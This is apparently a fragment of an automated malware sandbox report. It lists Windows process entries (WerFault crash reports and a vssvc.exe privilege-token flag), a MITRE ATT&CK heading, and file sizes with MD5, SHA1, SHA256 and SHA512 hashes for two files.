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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4844 -s 17843⤵
- Program crash
PID:4156
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3708
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4844 -ip 48441⤵PID:1500
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
512B
MD5ec552a3f677fac7a8b7ce5abc3539884
SHA105139a31eb8be87577814315f885e2de4aad68c7
SHA256f928c52d2b465b3c8cd7d24b6ca752451791e875af0b93e599ec13101cc18b07
SHA512e2d0ff5a698cd9e5889c7ef863fff0f06d1381c07d17390504ba49ca87138f589d062f92bff2c6f7a7009938c8fe05e1dbb216535b318cbeaebf43b4ea1c8660
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Filesize
46KB
MD5c15c6adc8c923ad87981f289025c37b2
SHA1bfe6533f4afe3255046f7178f289a4c75ad89e76
SHA25690f3a33919fdd766e90fd96f8f20a92c2d1376b7cfdc8b738c2f8e7e6c7498b1
SHA51231dd03b208e00ac012fbe4189d5af1306cc8e3640d40efefab4aa1cabab3c4735eef0cb65e7750c3c77021934e145398e5e26389975cf36b193c8f622a5fde83